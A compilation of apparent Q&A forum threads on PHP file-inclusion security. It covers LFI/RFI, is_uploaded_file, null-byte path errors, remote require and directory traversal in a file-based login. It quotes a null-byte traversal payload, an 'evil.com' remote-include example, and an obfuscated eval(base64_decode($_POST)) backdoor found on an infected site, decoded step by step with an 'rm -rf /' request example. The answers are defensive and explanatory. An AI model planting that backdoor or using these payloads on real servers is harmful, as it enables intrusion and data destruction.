Lets say example.com has a front end with this HTML:
<form action='this.php' method='post'>
<input type='hidden' value='test' name='post'>
<input type='submit' value='Test'>
</form>
and this.php included something along the lines of:
if (isset($_POST['post'])) {
include 'test_' . $_POST['post'] . ".php";
}
With the above setup, how would someone execute a malicious include, or attempt any sort of directory traversal, if the string 'test_' was attached to the beginning of it?
if they entered /../../, include would read it as 'test_/../../', and fail, if they used a url, include would get 'test_http://evil.com/badcode.php' and fail again.
How would someone get around the proceeding string to execute remote includes, or change its directory?
Sidenote: I do know how to sterilize strings, and other security steps to completely avoid this. This is simply out of curiosity, and from what I know now, I don't think it would be possible.
This is not really a good practice and always remember , Never trust user input !
Keeping that in mind, you should never pass a user-input to an include language construct.
From your code, it is somewhat clear that directory traversals leads to 404. However, there maybe some smart wicked geeks out there to bypass and perform a RFI attack.
So a better advice is.. Don't send user input directly to an include() construct.
File streams are typically abused in one of two ways. LFI, and RFI (Local file inclusion / Remote file inclusion respectively) or generally MFI (Malicious file inclusion). Often it's used to pipe local files such as /etc/passwd or log files.
RFI is much more dangerous, this is a possiblity if allow_url_fopen is on This allows a hacker to include a remote file into your environment. In the above example, it is combined with null byte injection in order to disregard the concatenation.
There is many methods of manipulating the string to do various things, for example including php://input or php://filter
if they entered /../../, include would read it as 'test_/../../', and fail […]
This is actually only true for Unix-based systems but works on Windows as it does the path resolution only on the given path and not on the actual file system structure. Windows doesn’t care whether one of the unresolved path segments exists as long as the resolved path exists.
Furthermore, up to certain PHP versions, not all file system functions where binary-safe and a null byte could end the string and remaining bytes were omitted.
So concluding, depending on the operating system and the PHP version, your script may be exploited to include arbitrary files using the following pattern:
post=/../../../../windows/win.ini%00
Related
I understand it as the function works against the
$_FILES['nn']['tmp_name']
This tmp_name is created by php at server and cannot (from my understanding) be manipulated by the client. In what sense does the function is_uploaded_file() add security?
SOURCE CODE:
/* {{{ proto bool is_uploaded_file(string path)
Check if file was created by rfc1867 upload */
PHP_FUNCTION(is_uploaded_file)
{
char *path;
size_t path_len;
if (!SG(rfc1867_uploaded_files)) {
RETURN_FALSE;
}
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STRING(path, path_len)
ZEND_PARSE_PARAMETERS_END();
if (zend_hash_str_exists(SG(rfc1867_uploaded_files), path, path_len)) {
RETURN_TRUE;
} else {
RETURN_FALSE;
}
}
This is the best information I could find...
According to the book Essential PHP Security by Chris Shiflett:
If your code uses tmp_name without verifying that it is in fact the uploaded file (and not something like /etc/passwd), a theoretical risk exists. I refer to this as a theoretical risk because there is no known exploit that allows an attacker to modify tmp_name. However, don't let the lack of an exploit dissuade you from implementing some simple safeguards.
However, keep in mind that this was published Oct 20, 2005. I am not aware of any exploits that have since surfaced, or what the details surrounding the "theoretical" exploit are. He also talks about it here.
There is a similar question on security stack exchange for further reference.
This is really mostly a sanity check for you, the programmer. There's nothing really any user ("hacker") could do that would make tmp_name refer to anything but the just uploaded file. However, in your code you may be passing file names around in complex ways; to avoid programming mistakes in such scenarios, is_uploaded_file gives you a tool to check whether you're really working with a file which was just uploaded, or whether you're trying to work with some other file. In the latter case, if your code mistakenly [under certain circumstances] works with any file instead of just uploaded files, an attacker may be able to exploit that mistake and gain access to files they shouldn't.
Can any one explain this code. I am having this code on the top of almost every php file. What is this code for. Thanks for your help.
Here is the code....
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
I've seen that code a number of times in different incarnations. It's a piece of injected code left by an attacker. If you break it down it almost always results in eval($var); where $var is an injected parameter (usually $_POST) that then is used to perform some sort of malicious act on your server. Bear in mind eval() will execute any linux command with the same permissions and authority of the user running Apache/PHP.
Breaking down your example
In your example you've given the following code:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
This is semi-obfuscated code but let's start to work through it. The first thing we need to do here is format it to start to understand it:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n642afe'])) {
eval($s21(${$s20}['n642afe']));
}
?>
We can see now that this is a relatively simple PHP script.
Line 1:
$sF="PCT4BA6ODSE_"; is just a variable with what seems like random rubbish in it.
Line 2:
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
This can be translated into: $s21 = "base64_decode"
Line 3:
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
As above, running strtoupper() on that string produces the result _POST.
Line 4:
The if statement here checks to see if ${s20}['n642afe'] is set. Well we know that $s20 evaluates to _POST and ${} type variables take the value as their variable name so this is really:
if(isset($_POST['n642afe'])){
Note: The n642afe part is a random parameter they've chosen so that you (or any other attacker!!!) tries to go to somefile.php?hack=yes it wouldn't work
Line 5:
The most dangerous part is here. Let's evaluate our variables in the same manner as above:
eval($s21(${$s20}['n642afe']));
The end result
eval(base64_decode($_POST['n642afe']));
If I were to send rm -rf / base64 encoded as post value for the parameter n642afe that would recursively delete everything. Unlikely it'd be able to do that without super user permissions but the point is - they'd have the same access rights as you do when you SSH to your server. Here's an example of what that'd look like:
http://example.com/infected.php?n642afe=cm0gLXJmIC8=
Translated, this becomes:
eval(base64_decode('cm0gLXJmIC8='));
And then again:
eval('rm -rf /');
My recommendation is - take the site offline immediately, update it, patch any
holes that are obvious and then make sure your server (and any other sites on there) are secure. Pay particular attention to file and folder permissions on your server. Note: this is a non-exhaustive list, there's so much more you can do to protect yourself.
If you simply delete this line you'll probably find one of two things will happen (or both):
The permissions on the "infected" file are different and the file is owned by a different user. You'll need to chmod/chown the file to get it back
The attackers will keep trying to get back in once they've been successful once. Simply removing the bad code is a good start but ask yourself this: "How did they get in in the first place?". With that in mind, please refer to my recommendation paragraph to begin to solve your issue.
Finding how they got in
To find where attackers 'got in' could be a game of cat and mouse, it's worth starting with the apache access logs though and searching for requests to your infected file with the parameter n642afe. You could also check your PHP logs to see what exactly was run and see what other holes they've opened.
I'm designing a web application that can be customized based on which retail location the end user is coming from. For example, if a user is coming from a store called Farmer's Market, there may be customized content or extra links available to that user, specific to that particular store. file_exists() is used to determine if there are any customized portions of the page that need to be imported.
Up until now, we've been using a relatively insecure method, in which the item ID# and the store are simply passed in as GET parameters, and the system knows to apply them to each of the links within the page. However, we're switching to a reversible hash method, in which the store and item number are encrypted (to look something like "gd651hd8h41dg0h81"), and the pages simply decode them and assign the store and ID variables.
Since then, however, we've been running into an error that Googling extensively hasn't found me an answer for. There are several similar blocks of code, but they all look something like this:
$buttons_first = "../stores/" . $store . "/buttons_first.php";
if(file_exists($buttons_first))
{
include($buttons_first);
}
(The /stores/ directory is actually in the directory above the working one, hence the ../)
Fairly straightforward. But despite working fine when a regular ID and store is passed in, using the encrypted ID throws this error for each one of those similar statements:
Warning: file_exists() expects parameter 1 to be a valid path, string given in [url removed] on line 11
I've had the script spit back the full URL, and it appears to be assigning $store correctly. I'm running PHP 5.4.11 on 1&1 hosting (because I know they have some abnormalities in the way their servers work), if that helps any.
I got the same error before but I don't know if this solution of mine works on your problem you need to remove the "\0" try replace it:
$cleaned = strval(str_replace("\0", "", $buttons_first));
it worked on my case.
Run a var_dump(strpos($buttons_first,"\0")), this warning could come up when a path has a null byte, for security reasons. If that doesn't work, check the length of the string and make sure it is what you'd expect, just in case there are other invisible bytes.
It may be a problem with the path as it depends where you are running the script from. It's safer to use absolute paths. To get the path to the directory in which the current script is executing, you can use dirname(__FILE__).
Add / before stores/, you are better off using absolute paths.
I know this post was created on 2013 but didn't saw the common solution.
This error occurs after adding multiple to the file submit form
for example you are using files like this on php: $_FILES['file']['tmp_name']
But after the adding multiple option to the form. Your input name became file => file[]
so even if you post just one file, $_FILES['file']['tmp_name'] should be change to $_FILES['file']['tmp_name'][0]
I'm not a PHP developer, but I'm currently hacking on an internal tool so my team can take advantage of its goodness. There's an index file that looks like so:
require( ($loader_path = "../../loaderapi/") . "loader.php" );
Used like this, $loader_path will retain its value within the loader.php file.
However, we want to access this API from our team's server like so:
require( ($loader_path = "http://remoteservername/loaderapi/") . "loader.php" );
In this case the $loader_path variable doesn't retain its value. I'm guessing it has something to do with it being a full blown URL, but I might be wrong. Any idea on how I can make this work, or why I can't do it this way?
If your accessing a PHP script over HTTP, only the output of that script is returned. So your script will try to interpret the output of that remote PHP script and not its source.
If there is a connection over the file system, you may want to try file://remoteservername/loaderapi/loader.php instead.
NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO!
Remote file inclusion is a BAD idea, probably one of the biggest security flaws you can open up. Even for an internal tool this is not acceptable even if only purely for contributing bad habits.
PHP by default disables this behavior, and there is a broad push to have the ability to perform an include on a URL completely stripped from PHP (as there is no compelling reason to have this ability).
If you want to load shared resources, go through a shared file system drive (as in, don't use http, ftp, anything but file://) or better yet distribute copies of loader.php through a version control system. Loading from a single file resource opens you up to problems in the future of say a new dev overwriting loader.php and breaking everyone else's code.
There shouldn't be any real difference between the two; what you're doing is defining $loader_path, concatenating the loader.php, and passing that to require.
HOWEVER: you're defining the variable within the scope of a require, which will halt processing of the script of require fails.
Try replacing 'require' with 'include' and see if it retains the variable.
Also, note that if you are running your PHP server on a windows machine, and the php version is less than 4.3.0, neither 'require' nor 'include' can handle remote files : http://us.php.net/manual/en/function.include.php
Also, as noted before, if the .php lives on a remote server that parses php, you will not get code, but the result of the remote server processing the code. You'll either have to serve it up as a .txt file, or write php that, when processed, outputs valid php.
Have you tried splitting it into two lines:
$loader_path = "http://remoteservername/loaderapi/";
require( $loader_path . "loader.php" );
It's easier to read this way as well.
Simplify the code reading by simply putting everything on 3 lines:
$loader_path = "http://remoteservername/loaderapi/";
$page = "loader.php";
require($loader_path . $page );
Much clearer and it works.
why not just put it above the require statement? would make it easier to read too.
<?php
$loader_path = "../../folderName/"
require($loader_path . "filename")
?>
If I choose lots of files tactics,
then I become to have directory
traversal security problem?
I need to write login system,
and lots of file tactics means
make lots of id files and use
scandir.
so the directory would have
aaa.txt (contents is aaa_pass)
bbb.txt (contents is bbb_pass)
ccc.txt (contents is ccc_pass)
and when someone enter his id,
the system scandir the directory,
then find the id files.
but hey, what if he enters as
"../../important.txt" ?
then he could access to the ../../important.txt ?
At first glance, it seems like you are going down a somewhat strange path for writing a login system. I'm not sure plain text files in a directory on the filesystem is a wise path to take if for no other other reason than that it's abnormal and you'rer likely to overlook many of the subtleties that are already thought through in more common authentication systems. If you wanted to store the passwords hashed and salted, for instance, you'd need to think through how to implement that in your scheme and you could make a mistake that would lead to a security problem. Using a good PEAR library or even the Zend_Auth component from Zend Framework, though, would give you a clear and well-documented starting point.
Anyway, assuming you have your reasons for the arrangement you describe in your question, the basename() function is likely what you want in this case. It will strip everything but the filename itself so that they can't do a directory traversal attack like you describe in your question.
So if the input from the user is:
../../important
You can run:
$cleanUsername = basename($input);
$filename = '/path/to/password/files/' . $cleanUsername . '.txt';
if (file_exists($filename)) {
[...]
}
Make sense?
You could perform some validation of the username before you use it as part of a path - for example to only allow letters and numbers you could do something like this using a regular expression:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
//username is not valid
} else {
//username is ok to use
}
Another way you could do it is to hash the username before you read or write it, for example:
$hash = sha1($username);
This way, the user can have anything as their username and there will be no danger of them manipulating the behaviour of your file lookup. A username of "../../important.txt" would give you a hash of "48fc9e70df592ccde3a0dc969ba159415c62658d", which is safe despite the source string being nasty.
If you have no other choice than to use this file-password system (assuming you have to for one reason or another), in addition to creating some kind of obfuscated file names, you may also want create files with the same extension as your server-side language just in case - for example, if you are using PHP, your file name would be john.php (or obfuscated 'john'), and contents might be something like this:
<?php
exit; // or maybe even a header redirect --
/*password goes here*/
?>
Of course your file-read routine will need to parse our the phrase inside the comment block.
This way, if someone DOES somehow arrive at that file, it will never render.